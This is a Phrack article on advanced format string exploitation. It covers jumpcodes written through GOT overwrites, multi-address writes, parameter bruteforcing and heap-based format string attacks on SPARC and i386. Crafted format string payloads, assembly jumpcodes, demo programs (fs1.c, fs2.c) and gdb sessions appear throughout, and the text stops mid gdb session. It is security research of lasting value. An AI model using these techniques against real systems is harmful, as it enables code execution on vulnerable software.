==Phrack Inc.==

0x0b, Issue 0x3b, Phile #0x07 of 0x12

# |=-------------=[ Advances in format string exploitation ]=--------------=|

|=-----------------------------------------------------------------------=|

|=---------=[ by gera <gera@corest.com>, riq <riq@corest.com> ]=---------=|

## --[ 1. Intro

Is there anything else to say about format strings after all this time? probably yes, or at least we are trying... To start with, go get scut's excellent paper on format strings [1] and read it.

This text deals with 2 different subjects. The first is about different tiny tricks that may help speeding up bruteforcing when exploiting format strings bugs, and the second is about exploting heap based format strings bugs.

So fasten your seatbelts, the trip has just begun.

## --[ Part I - by gera

## --[ 2. Bruteforcing format strings

> "...Bruteforcing is not a very happy term, and doesn't make justice for a lot of exploit writers, as most of the time a lot of brain power is used to solve the problem in better ways than just brute force..."

My greets to all those artists who inspired this phrase, specially ~{MaXX,dvorak,Scrippie}, scut[], lg(zip) and lorian+k.

## --[ 3. 32*32 == 32 - Using jumpcodes

Ok, first things first...

A format string lets you, after dealing with it, write what you want where you want... I like to call this a write-anything-anywhere primitive, and the trick described here can be used whenever you have a write-anything-anywhere primitive, be it a format string, an overflow over the "destination pointer of a strcpy()", several free()s in a row, a ret2memcpy buffer overflow, etc.

Scut[1], shock[2], and others[3][4] explain several methods to hook the execution flow using a write-anything-anywhere primitive, namely changing GOT, changing some function pointer, atexit() handlers, erm... a virtual member of a class, etc.  When you do so, you need to know, guess or predict 2 different addresses: function pointer's address and shellcode's address, each has 32 bits, and if you go blindly bruteforcing, you'll need to get 64 bits... well, this is not true, suppose GOT's address always starts with, mmm... 0x0804 and that your code will be in, erm... 0x0805... ok, for linux this may even be true, so it's not 64 bits, but 32 total, so it's just 4,294,967,296 tries...  well, no, because you may be able to provide a cushion of 4K nops, so it goes down to 1,048,576 tries, and as GOT must be walked on 4 bytes steps, it's just 262,144... heh, all theese numbers are just... erm... nonsense.

Well, sometimes there are other tricks you can do, use a read primitive to learn something from the target process, or turn a write primitive into a read primitive, or use more nops, or target stack or just hardcode some addresses and go happy with it...

But, there is something else you can do, as you are not limited to writing only 4 bytes, you can write more than the address to the shellcode, you can also write the shellcode!

### ----[ 3.1. write code in any known address

Even with a single format string bug you can write not only more than 4, bytes, but you can also write them to different places in memory, so you can choose any known to be writable and executable address, lets say, 0x8051234 (for some target program running on some linux), write some code there, and change the function pointer (GOT, atexit()'s functions, etc) to point it:

```
               GOT[read]:     0x8051234     ; of course using read is just
                                            ; an example

               0x8051234:     shellcode
```

What's the difference? Well... shellcode's address is now known, it's always 0x8051234, hence you only have to bruteforce function pointer's address, cutting down the number of bits to 15 in the worst case.

Ok, right, you got me... you cannot write a 200 bytes shellcode using this technique with a format string (or can you?), maybe you can write a 30 bytes shellcode, but maybe you only have a few bytes... so, we need a really small jumpcode for this to work.

### ----[ 3.2. the code is somewhere else

I'm pretty sure you'll be able to put the code somewhere in target's memory, in stack or in heap, or somewhere else (!?). If this is the case, we need our jumpcode to locate the shellcode and jump there, what could be really easy, or a little more tricky.

If the shellcode is somewhere in stack (in the same format string perhaps?) and if you can, more or less, know how far from the SP it will be when the jumpcode is executed, you can jump relative to the SP with just 8 or 5 bytes:

```
              GOT[read]:      0x8051234

              0x8051234:      add $0x200, %esp   ; delta from SP to code
                              jmp *%esp          ; just use esp if you can

              esp+0x200:      nops...            ; just in case delta is
                                                 ; not really constant
                              real shellcode     ; this is not writen using
                                                 ; the format string
```

Is the code in heap?, but you don't have the slightest idea where it is? Just follow Kato (this version is 18 bytes, Kato's version is a little longer, but only made of letters, he didn't use a format string though):

```
              GOT[read]:      0x8051234

              0x8051234:      cld
                              mov $0x4f54414a,%eax   ; so it doesn find
                              inc %eax               ; itself (tx juliano)
                              mov $0x804fff0, %edi   ; start searching low
                                                     ; in memory
                              repne scasl
                              jcxz .-2               ; keep searching!
                              jmp *$edi              ; upper case letters
                                                     ; are ok opcodes.
              somewhere
                in heap:      'KATO'            ; if you know the alignment
                              'KKATO'           ; one is enough, otherwise
                              'KKATO'           ; make some be found
                              'KKATO'
                              real shellcode
```

Is it in stack but you don't know where? (10 bytes)

```
              GOT[read]:      0x8051234

              0x8051234:      mov $0x4f54414a,%ebx   ; so it doesn find
                              inc %ebx               ; itself (tx juliano)
                              pop %eax
                              cmp %ebx, %eax
                              jnz .-3
                              jmp *$esp

              somewhere
               in stack:      'KATO'            ; you'll know the alignment
                              real shellcode
```

Something else? ok, you figure your jumpcode yourself :-) But be carefull!  'KATO' may not be a good string, as it's executed and has some side effect. :-)

You may even use a jumpcode which copies from stack to heap if the stack is not executable but the heap is.

### ----[ 3.3. friendly functions

When changing GOT you can choose what function pointer you want to use, some functions may be better than others for some targets. For example, if you know that after you changed the function pointer, the buffer containing the shellcode will be free()ed, you can just do: (2 bytes)

```
              GOT[free]:      0x8051234          ; using free this time

              0x8051234:      pop %eax           ; discarding real ret addr
                              ret                ; jump to free's argument
```

The same may happen with read() if the same buffer with the shellcode is reused to read more from the net, or syslog() or a lot of other functions...  Sometimes you may need a jumpcode a little more complex if you need to skip some bytes at the beggining of the shellcode:
(7 or 10 bytes)

```
              GOT[syslog]:    0x8051234          ; using syslog

              0x8051234:      pop %eax           ; discarding real ret addr
                              pop %eax
                              add $0x50, %eax    ; skip some non-code bytes
                              jmp *$eax
```

And if nothing else works, but you can distinguish between a crash and a hung, you can use a jumpcode with an infinite loop that will make the target hung: You bruteforce GOT's address until the server hungs, then you know you have the right address for some GOT entry that works, and you can start bruteforcing the address for the real shellcode.

```
              GOT[exit]:      0x8051234

              0x8051234:      jmp .              ; infinite loop
```

### ----[ 3.4. no weird addresses

As I don't like choosing arbitrary addresses, like 0x8051234, what we can do is something a little different:

```
              GOT[free]:      &GOT[free]+4       ; point it to next 4 bytes
                              jumpcode           ; address is &GOT[free]+4
```

You don't really know GOT[free]'s address, but on every bruteforcing step you are assuming you know it, then, you can make it point 4 bytes ahead of it, where you can place the jumpcode, i.e. if you assume your GOT[free] is at 0x8049094, your jumpcode will be at 0x8049098, then, you have to write the value 0x8049098 to the address 0x8049094 and the jumpcode to 0x8049098:

```
  /* fs1.c                                                    *
   * demo program to show format strings techinques           *
   * specially crafted to feed your brain by gera@corest.com */

  int main() {
    char buf[1000];

    strcpy(buf,
      "\x94\x90\x04\x08"          // GOT[free]'s address
      "\x96\x90\x04\x08"          //
      "\x98\x90\x04\x08"          // jumpcode address (2 byte for the demo)
      "%.37004u"                  // complete to 0x9098 (0x9098-3*4)
      "%8$hn"                     // write 0x9098 to 0x8049094
      "%.30572u"                  // complete to 0x10804 (0x10804-0x9098)
      "%9$hn"                     // write 0x0804 to 0x8049096
      "%.47956u"                  // complete to 0x1c358 (0x1c358-0x10804)
      "%10$hn"                    // write 5B C3 (pop - ret) to 0x8049098
          );

    printf(buf);
  }

  gera@vaiolent:~/papers/gera$ make fs1
  cc     fs1.c   -o fs1

  gera@vaiolent:~/papers/gera$ gdb fs1

  (gdb) br main
  Breakpoint 1 at 0x8048439

  (gdb) r
  Breakpoint 1, 0x08048439 in main ()

  (gdb) n
  ...0000000000000...

  (gdb) x/x 0x8049094
  0x8049094:    0x08049098
  (gdb) x/2i 0x8049098
  0x8049098:    pop    %eax
  0x8049099:    ret
```

So, if the address of the GOT entry for free() is 0x8049094, the next time free() is called in the program our little jumpcode will be called instead.

This last method has another advantage, it can be used not only on format strings, where you can make every write to a different address, but it can also be used with any write-anything-anywhere primitive, like a "destination pointer of strcpy()" overwrite, or a ret2memcpy buffer overflow. Or if you are as lucky [or clever] as lorian, you may even do it with a single free() bug, as he teached me to do.

## --[ 4. n times faster

### ----[ 4.1. multiple address overwrite

If you can write more than 4 bytes, you can not only put the shellcode or jumpcode where you know it is, you can also change several pointers at the same time, speeding up things again.

Of course this can be done, again, with any write-anything-anywhere primitive which let's you write more than just 4 bytes, and, as we are going to write the same values to all the pointers, there is a cheap way to do it with format strings.

Suppose we are using the following format string to write 0x12345678 at the address 0x08049094:

```
    "\x94\x90\x04\x08"           // the address to write the first 2 bytes
    "AAAA"                       // space for 2nd %.u
    "\x96\x90\x04\x08"           // the address for the next 2 bytes
    "%08x%08x%08x%08x%08x%08x"  // pop 6 arguments
    "%.22076u"                   // complete to 0x5678 (0x5678-4-4-4-6*8)
    "%hn"                        // write 0x5678 to 0x8049094
    "%.48060u"                   // complete to 0x11234 (0x11234-0x5678)
    "%hn"                        // write 0x1234 to 0x8049096
```

As %hn does not add characters to the output string, we can write the same value to several locations without having to add more padding. For example, to turn this format string into one that writes the value 0x12345678 to 5 consecutive words starting in 0x8049094 we can use:

```
    "\x94\x90\x04\x08"           // addresses where to write 0x5678
    "\x98\x90\x04\x08"           //
    "\x9c\x90\x04\x08"           //
    "\xa0\x90\x04\x08"           //
    "\xa4\x90\x04\x08"           //
    "AAAA"                       // space for 2nd %.u
    "\x96\x90\x04\x08"           // addresses for 0x1234
    "\x9a\x90\x04\x08"           //
    "\x9e\x90\x04\x08"           //
    "\xa2\x90\x04\x08"           //
    "\xa6\x90\x04\x08"           //
    "%08x%08x%08x%08x%08x%08x"  // pop 6 arguments
    "%.22044u"                  // complete to 0x5678: 0x5678-(5+1+5)*4-6*8
    "%hn"                       // write 0x5678 to 0x8049094
    "%hn"                       // write 0x5678 to 0x8049098
    "%hn"                       // write 0x5678 to 0x804909c
    "%hn"                       // write 0x5678 to 0x80490a0
    "%hn"                       // write 0x5678 to 0x80490a4
    "%.48060u"                  // complete to 0x11234 (0x11234-0x5678)
    "%hn"                       // write 0x1234 to 0x8049096
    "%hn"                       // write 0x1234 to 0x804909a
    "%hn"                       // write 0x1234 to 0x804909e
    "%hn"                       // write 0x1234 to 0x80490a2
    "%hn"                       // write 0x1234 to 0x80490a6
```

Or the equivalent using direct parameter access.

```
    "\x94\x90\x04\x08"          // addresses where to write 0x5678
    "\x98\x90\x04\x08"          //
    "\x9c\x90\x04\x08"          //
    "\xa0\x90\x04\x08"          //
    "\xa4\x90\x04\x08"          //
    "\x96\x90\x04\x08"          // addresses for 0x1234
    "\x9a\x90\x04\x08"          //
    "\x9e\x90\x04\x08"          //
    "\xa2\x90\x04\x08"          //
    "\xa6\x90\x04\x08"          //
    "%.22096u"                  // complete to 0x5678 (0x5678-5*4-5*4)
    "%8$hn"                     // write 0x5678 to 0x8049094
    "%9$hn"                     // write 0x5678 to 0x8049098
    "%10$hn"                    // write 0x5678 to 0x804909c
    "%11$hn"                    // write 0x5678 to 0x80490a0
    "%12$hn"                    // write 0x5678 to 0x80490a4
    "%.48060u"                  // complete to 0x11234 (0x11234-0x5678)
    "%13$hn"                    // write 0x1234 to 0x8049096
    "%14$hn"                    // write 0x1234 to 0x804909a
    "%15$hn"                    // write 0x1234 to 0x804909e
    "%16$hn"                    // write 0x1234 to 0x80490a2
    "%17$hn"                    // write 0x1234 to 0x80490a6
```

In this example, the number of "function pointers" to write at the same time was set arbitrary to 5, but it could have been another number. The real limit depends on the length of the string you can supply, how many arguments you need to pop to get to the addresses if you are not using direct parameter access, if there is a limit for direct parameters access (on Solaris' libraries it's 30, on some Linuxes it's 400, and there may be other variations), etc.

If you are going to combine a jumpcode with multiple address overwrite, you need to have in mind that the jumpcode will not be just 4 bytes after the function pointer, but some more, depending on how many addresses you'll overwrite at once.

## ----[ 4.2. multiple parameter bruteforcing

Sometimes you don't know how many parameters you have to pop, or how many to skip with direct parameter access, and you need to try until you hit the right number. Sometimes it's possible to do it in a more inteligent way, specially when it's not a blind format string (did I say it already? go read scut's paper [1]!). But anyway, there may be cases when you don't know how many parameters to skip, and have to find it out trying, as in the next pythonish example:

```
    pops = 8
    worked = 0
    while (not worked):
      fstring  = "\x94\x90\x04\x08"        # GOT[free]'s address
      fstring += "\x96\x90\x04\x08"        #
      fstring += "\x98\x90\x04\x08"        # jumpcode address
      fstring += "%.37004u"                # complete to 0x9098
      fstring += "%%%d$hn" % pops          # write 0x9098 to 0x8049094
      fstring += "%.30572u"                # complete to 0x10804
      fstring += "%%%d$hn" % (pops+1)      # write 0x0804 to 0x8049096
      fstring += "%.47956u"                # complete to 0x1c358
      fstring += "%%%d$hn" % (pops+2)      # write (pop - ret) to 0x8049098
      worked = try_with(fstring)
      pops += 1
```

In this example, the variable 'pops' is incremented while trying to hit the right number for direct parameter access. If we repeat the target addresses, we can build a format string which lets us increment 'pops' faster. For example, repeating each address 5 times we get a faster bruteforcing:

```
    pops = 8
    worked = 0
    while (not worked):
      fstring  = "\x94\x90\x04\x08" * 5    # GOT[free]'s address
      fstring += "\x96\x90\x04\x08" * 5    # repeat eddress 5 times
      fstring += "\x98\x90\x04\x08" * 5    # jumpcode address
      fstring += "%.37004u"                # complete to 0x9098
      fstring += "%%%d$hn" % pops          # write 0x9098 to 0x8049094
      fstring += "%.30572u"                # complete to 0x10804
      fstring += "%%%d$hn" % (pops+6)      # write 0x0804 to 0x8049096
      fstring += "%.47956u"                # complete to 0x1c358
      fstring += "%%%d$hn" % (pops+11)     # write (pop - ret) to 0x8049098
      worked = try_with(fstring)
      pops += 5
```

Hitting any of the 5 copies well be ok, the most copies you can put the better.

This is a simple idea, just repeat the addresses. If it's confusing, grab pen and paper and make some drawings, first draw a stack with the format string in it, and some random number of arguments on top of it, and then start doing the bruteforcing manually... it'll be fun! I guarantee it! :-)

It may look stupid but may help you some day, you never know... and of course the same could be done without direct parameter access, but it's a little more complicated as you have to recalculate the length for %.u format specifiers on every try.

--[ unnamed and unlisted seccion

Through this text my only point was: a format string is more than a mere 4-bytes-write-anything-anywhere primitive, it's almost a full write-anything-anywhre primitive, which gives you more posibilities.

So far so good, the rest is up to you...

## --[ Part II - by riq
## --[ 5. Exploiting heap based format strings

Usually the format strings lies on the stack. But there are cases where it is stored on the heap, and you CAN'T see it.

Here I present a way to deal with these format strings in a generic way within SPARC (and big-endian machines), and at the end we'll show you how to do the same for little-endian machines.

## --[ 6. The SPARC stack

In the stack you will find stack frames. These stack frames have local variables, registers, pointers to previous stack frames, return addresses, etc.

Since with format strings we can see the stack, we are going to study it more carefully.

The stack frames in SPARC looks more or less like the following:

```
          frame 0              frame 1               frame 2
         [  l0   ]     +----> [  l0   ]      +----> [  l0   ]
         [  l1   ]     |      [  l1   ]      |      [  l1   ]
            ...        |         ...         |         ...
         [  l7   ]     |      [  l7   ]      |      [  l7   ]
         [  i0   ]     |      [  i0   ]      |      [  i0   ]
         [  i1   ]     |      [  i1   ]      |      [  i1   ]
            ...        |         ...         |         ...
         [  i5   ]     |      [  i5   ]      |      [  i5   ]
         [  fp   ] ----+      [  fp   ]  ----+      [  fp   ]
         [  i7   ]            [  i7   ]             [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]
```

And so on...

The fp register is a pointer to the caller frame pointer. As you may guess, 'fp' means frame pointer.

The temp_N are local variables that are saved in the stack. The frame 1 starts where the frame 0's local variables end, and the frame 2 starts, where the frame 1's local variables end, and so on.

All these frames are stored in the stack. So we can see all of these stack frames with our format strings.

## --[ 7. the trick

The trick lies in the fact that every stack frame has a pointer to the previous stack frame. Furthermore, the more pointers to the stack we have, the better.

Why ? Because if we have a pointer to our own stack, we can overwrite the address that it points to with any value.

## --[ 7.1. example 1

Suppose that we want to put the value 0x1234 in frame 1's l0. What we will try to do is to build a format string, whose length is 0x1234, by the time we've reached stack frame 0's fp with a %n.

Supposing that the first argument that we see is the frame 0's l0 register, we should have a format string like the following (in python):

```
  '%8x' * 8 +     # pop the 8 registers 'l'
  '%8x' * 5 +     # pop the first 5 'i' registers
  '%4640d'  +     # modify the length of my string (4640 is 0x1220) and...
  '%n'            # I write where fp is pointing (which is frame 1's l0)
```

So, after the format string has been executed, our stack should look like this:

```
          frame 0                frame 1
         [  l0   ]     +----> [ 0x00001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]            [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]
```

## --[ 7.2. example 2

If we decided on a bigger number, like 0x20001234, we should find 2 pointers that point to the same address in the stack. It should be something like this:

```
          frame 0                frame 1
         [  l0   ]     +----> [  l0   ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]     |      [  i7   ]
         [ temp 1] ----+      [ temp 1]
                              [ temp 2]
```

[ Note: We are not going to find always 2 pointers that point to the same address, though it is not rare. ]

So, our format string should look like this:

```
  '%8x' * 8 +     # pop the 8 registers 'l'
  '%8x' * 5 +     # pop the first 5 registers 'i'
  '%4640d'  +     # modify the length of my format string (4640 is 0x1220)
  '%n'            # I write where fp is pointing (which is frame 1's l0)
  '%3530d'  +     # again, I modify the length of the format string
  '%hn'           # and I write again, but only the hi part this time!
```

And we would get the following:

```
          frame 0              frame 1
         [  l0   ]     +----> [ 0x20001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]     |      [  i7   ]
         [ temp 1] ----+      [ temp 1]
                              [ temp 2]
```

### --[ 7.3. example 3

In the case that we only have 1 pointer, we can get the same result by using the 'direct parameter access' in the format string, with %argument_number$, where 'argument_number' is a number between 0 and 30 (in Solaris).

My format string should be the following:

```
    '%4640d' +  # change the length
    '%15$n'  +  # I write where argument 15 is pointing (arg 15 is fp!)
    '%3530d' +  # change the length again
    '%15$hn'    # write again, but only the hi part!
```

Therefore, we would arrive at the same result:

```
          frame 0              frame 1
         [  l0   ]     +----> [ 0x20001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]            [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]
```

### --[ 7.4. example 4

But it could well happen that I don't have 2 pointers that point to the same address in the stack, and the first address that points to the stack is outside the scope of the first 30 arguments. What could I then do ?

Remember that with plain '%n', you can write very large numbers, like 0x00028000 and higher. You should also keep in mind that the binary's PLT is usually located in very low addresses, like 0x0002????. So, with just one pointer that points to the stack, you can get a pointer that points to the binary's PLT.

I don't believe a graphic is necessary in this example.

## --[ 8. builind the 4-bytes-write-anything-anywhere primitive

### --[ 8.1. example 5

In order to get a 4-bytes-write-anything-anywhere primitive we should repeat what was done with the stack frame 0, and do it again for another stack frame, like frame 1. Our result should look something like the following:

```
      frame 0              frame 1               frame 2
     [  l0   ]     +----> [0x00029e8c]   +----> [0x00029e8e]
     [  l1   ]     |      [  l1   ]      |      [  l1   ]
        ...        |         ...         |         ...
     [  l7   ]     |      [  l7   ]      |      [  l7   ]
     [  i0   ]     |      [  i0   ]      |      [  i0   ]
     [  i1   ]     |      [  i1   ]      |      [  i1   ]
        ...        |         ...         |         ...
     [  i5   ]     |      [  i5   ]      |      [  i5   ]
     [  fp   ] ----+      [  fp   ]  ----+      [  fp   ]
     [  i7   ]            [  i7   ]      |      [  i7   ]
     [ temp 1]            [ temp 1]      |
                          [ temp 2]  ----+
                          [ temp 3]
```

[Note: As long as the code we want to change is located in 0x00029e8c ]

So, now that we have 2 pointers, one that points to 0x00029e8c and another that points to 0x00029e8e, we have finally achieved our goal! Now, we can exploit this situation just like any other format string vulnerability :)

The format string will look like this:

```
    '%4640d' +  # change the length
    '%15$n'  +  # with 'direct parameter access' I write the lower part
                # of frame 1's l0
    '%3530d' +  # change the length again
    '%15$hn' +  # overwrite the higher part
    '%9876d' +  # change the length
    '%18$hn' +  # And write like any format string exploit!


    '%8x' * 13+ # pop 13 arguments (from argument 15)
    '%6789d' +  # change length
    '%n'     +  # write lower part
    '%8x'    +  # pop
    '%1122d' +  # modify length
    '%hn'    +  # write higher part
    '%2211d' +  # modify length
    '%hn'       # And write, again, like any format string exploit.
```

As you can see, this was done with just one format string. But this is not always possible. If we can't build 2 pointers, what we need to do, is to abuse the format string twice.

First, we build a pointer that points to 0x00029e8c. Then, we overwrite the value that 0x00029e8c points to with '%hn'.

The second time in which we abuse of the format string, we do the same as we did before, but with a pointer to 0x00029e8e. There is no real need for two pointers (0x00029e8c and 0x00029e8e), as writing first the lower part with %n and then the higher part with %hn will work, but you'll have to use the same pointer twice, only possible with direct parameter access.

## --[ 9. the i386 stack

We can also, exploit a heap based format strings in the i386 arquitecture using a very similar technique. Lets see how the i386 stack works.

```
        frame 0        frame 1        frame 2        frame 3
       [  ebp  ] ---> [  ebp  ] ---> [  ebp  ] ---> [  ebp  ]
       [       ]      [       ]      [       ]      [       ]
       [       ]      [       ]      [       ]      [       ]
       [ ...   ]      [ ...   ]      [ ...   ]      [ ...   ]
```

As you can see, i386's stack is very similar to SPARC's, the main difference is that all the addresses are stored in little-endian format.

```
         frame0           frame1
        [ LSB | MSB ] ---> [ LSB | MSB ]
        [           ]      [           ]
```

So, the trick we were using in SPARC of overwriting address's LSB with '%n', and then overwriting its MSB with '%hn' with just one pointer won't work in this architecture.

We need an additional pointer, pointing to MSB's address, in order to change it. Something like this:

```
                    +----------------------------+
                    |                            |
                    |                            V
       [LSB | MSB]  |   [LSB | MSB] ---> [LSB | MSB]
       [         ]  |   [         ]      [         ]
       [         ] -+   [         ]      [         ]
       [  ...    ]      [   ...   ]      [   ...   ]
         Frame B          Frame C          Frame D
```

Heh! as you probably guessed, this is not very common on everyday stacks, so, what we are going to do, is build the pointers we need, and then, of course, use them.

Warning! We just found out that this technique does not work on latest Linuxes, we are not even sure if works on any (it depends on libc/glibc version), but we know it works, at least, on OpenBSD, FreeBSD and Solaris x86).

--[ 9.1. example 6

This trick will need an aditional frame... latter we'll try to get rid of as many frames as possible.

```
                                 +----------------------------+
                                 |                            |
                                 |                            V
   [LSB | MSB] ---> [LSB | MSB] -+   [LSB | MSB] ---> [LSB | MSB]
   [         ]      [         ]      [         ]      [         ]
   [         ]      [         ]      [         ]      [         ]
   [  ...    ]      [  ...    ]      [   ...   ]      [   ...   ]
     Frame A          Frame B          Frame C          Frame D
```

Frame A has a pointer to Frame B. Specifically, it's pointing to Frame B's ebp. So we can modify the LSB of Frame B's ebp, with an '%hn'. And that is what we wanted!. Now Frame B is not pointing to Frame C, but to the MSB of Frame D's ebp.

We are abusing the fact that ebp is already pointing to the stack, and we assume that changing its 2 LSB will be enough to make it point to another frame's saved ebp. There may be some problems with this (if Frame D is not on the same 64k "segment" of Frame C), but we'll get rid of this problem in the following examples.

So with 4 stack frames, we could build one pointer in the stack, and with that pointer we could write 2 bytes anywhere in memory. If we have 8 stack frames we could repeat the process and build 2 pointers in the stack, allowing us to write 4 bytes anywhere in memory.

--[ 9.2. example 7 - the pointer generator

There are cases where you don't have 8 (or 4) stack frames. What can we do then? Well, using direct parameter access, we could use just 3 stack frames to do everything, and not only a 4-bytes-write-anything-anywhere primitive but almost a full write-anything-anywhere primitive.

Lets see how we can do it, heavily abusing direct parameter access,
our target? to build the address 0xdfbfddf0 in the stack, so we can use it latter with another %hn to write there.

step 1:

Frame B's saved frame pointer (saved ebp) is already pointing to Frame C's saved ebp, so, the first thing we are going to do is change Frame's C LSB:

```
         [ LSB | MSB ] ---> [ LSB | MSB ] ---> [ LSB | MSB ]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Frame A            Frame B            Frame C
```

Since we know where in the stack is Frame B, we could use direct parameter access to access parameters out of order... and probably not just once. Latter we'll see how to find the direct parameter access number we need, right now lets just assume Frame B's is 14.

```
                 # step 1
    '%.56816u' + # change the length (we want to write 0xddf0)
    '%14$hn'   + # Write where argument 14 is pointing
                 # (arg 14 is Frame B's ebp)
```

What we get is a modified Frame C's ebp.

step 2:

```
         [ LSB | MSB ] ---> [ LSB | MSB ] ---> [ ddf0| MSB ]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Frame A            Frame B            Frame C
```

As Frame A's ebp is already pointing to Frame B's ebp, we can use it to change the LSB of Frame B's ebp, and as it is already pointing to Frame C's ebp's LSB we can make it point to Frame C's ebp's MSB, we won't have the 64k segments problem this time, as Frame C's ebp's LSB must be in the same segment as its MSB, as it's always 4 bytes aligned... I know it's confusing...

For example if Frame C is at 0xdfbfdd6c, we will want to make Frame B's ebp to point to 0xdfbfdd6e, so we can write target address' MSB.

```
                # step 2
    '%.65406u'+ # we want to write 0xdd6e (65406 = 0x1dd6e-0xddf0)
    '%6$hn'   + # Write where argument 6 is pointing
                # (assuming arg 6 is Frame A's ebp)
```

step 3:

```
                                            +----------+
                                            |          V
         [ LSB | MSB ] ---> [ dd6e| MSB ] --+  [ ddf0| MSB ]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Frame A            Frame B            Frame C
```

The new Frame B points to the MSB of the Frame C's ebp. And now, with another direct parameter access, we build the MSB of the address that we were looking for.

```
                # step 3
    '%.593u'  + # we want to write 0xdfbf (593 = 0xdfbf - 0xdd6e)
    '%14$n'   + # Write where argument 14 is pointing
                # (arg 14 is Frame B's ebp)
```

our result:

```
                                            +----------+
                                            |          V
         [ LSB | MSB ] ---> [ dd6e| MSB ] --+  [ ddf0| dfbf]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Frame A            Frame B            Frame C
```

As you can see, we have our pointer in Frame C's ebp, now we could use it to write 2 bytes anywhere in memory. This won't be enough normally to make an exploit, but we could use the same trick, USING THESE 3 STACK FRAMES AGAIN, to build another pointer (and another, and another...)
Hey, we've found a pointer generator :-) with only 3 stack frames.

Got the theory? let's put all this together in an example.

The following code will use 3 frames (A,B,C) and multiple parameters access to write the value 0xaabbccdd to the address 0xdfbfddf0. It was tested on an OpenBSD 3.0, and can be tried on other systems.  We'll show you here how to tune it to your box.

```
  /* fs2.c                                                   *
   * demo program to show format strings techinques          *
   * specially crafted to feed your brain by gera@corest.com */

  do_printf(char *msg) {
    printf(msg);
  }

  #define FrameC 0xdfbfdd6c
  #define counter(x)      ((a=(x)-b),(a+=(a<0?0x10000:0)),(b=(x)),a)

  char *write_two_bytes(
      unsigned long where,
      unsigned short what,
      int restoreFrameB)
  {
    static char buf[1000]={0};    // enough? sure! :)
    static int a,b=0;

    if (restoreFrameB)
      sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff)));
    sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where & 0xffff));
    sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff) + 2));
    sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where >> 0x10));
    sprintf(buf, "%s%%.%du%%29$hn", buf, counter(what));
    return buf;
  }

  int main() {
    char *buf;
    buf = write_two_bytes(0xdfbfddf0,0xccdd,0);
    buf = write_two_bytes(0xdfbfddf2,0xaabb,1);
    do_printf(buf);
  }
```

The values you'll need to change are:

```
    %6$         number of parameter for Frame A's ebp
    %14$        number of parameter for Frame B's ebp
    %29$        number of parameter for Frame C's ebp
    0xdfbfdd6c  address of Frame C's ebp
```

To get the right values:

```
gera@vaiolent> cc -o fs fs.c
gera@vaiolent> gdb fs
(gdb) br do_printf
(gdb) r
(gdb) disp/i $pc
(gdb) ni
(gdb) p "run until you get to the first call in do_printf"
(gdb) ni
1: x/i $eip  0x17a4 <do_printf+12>:     call   0x208c <_DYNAMIC+140>
(gdb) bt
#0  0x17a4 in do_printf ()
#1  0x1968 in main ()
(gdb) x/40x $sp
0xdfbfdcf8:     0x000020d4      0xdfbfdd70      0xdfbfdd00      0x0000195f
0xdfbfdd08:     0xdfbfddf2      0x0000aabb     [0xdfbfdd30]--+ (0x00001968)
0xdfbfdd18:     0x000020d4      0x0000ccdd      0x00000000   |  0x00001937
0xdfbfdd28:     0x00000000      0x00000000   +-[0xdfbfdd6c]<-+  0x0000109c
0xdfbfdd38:     0x00000001      0xdfbfdd74   |  0xdfbfdd7c      0x00002000
0xdfbfdd48:     0x0000002f      0x00000000   |  0x00000000      0xdfbfdff0
0xdfbfdd58:     0x00000000      0x0005a0c8   |  0x00000000      0x00000000
0xdfbfdd68:     0x00002000     [0x00000000]<-+  0x00000001      0xdfbfddd4
0xdfbfdd78:     0x00000000      0xdfbfddeb      0xdfbfde04      0xdfbfde0f
0xdfbfdd88:     0xdfbfde50      0xdfbfde66      0xdfbfde7e      0xdfbfde9e
```

Ok, time to start getting the right values. First, 0x1968 (from previous 'bt' command) is where do_printf() will return after finishing, locate it in the stack (in this example it's at 0xdfbfdd14). The previous word is where Frame A starts, and is where Frame A's ebp is saved, here it's 0xdfbfdd30.

Great! now we need the direct parameter access number for it, so, as we executed up to the call, the first word in the stack is the first argument for printf(), numbered 0. If you count, starting from 0, up to Frame A's ebp, you'll count 6 words, that's the number we want.

Now, locate where Frame A's ebp is pointing to, that's Frame B's ebp, here 0xdfbfdd6c. Count again, you'll get 14, 2nd value needed. Cool, now Frame B's saved ebp is ponting to Frame C's ebp, so, we already have another value: 0xdfbfdd6c. And to get the last number needed, you need to count again, until you get to Frame C's ebp (count until you get to the address 0xdfbfdd6c), you should get 29.

Now edit your fs.c, compile it, gdb it, and run past the call (one more 'ni'), you should see a lot of zeros and then:

```
(gdb) x/x 0xdfbfddf0
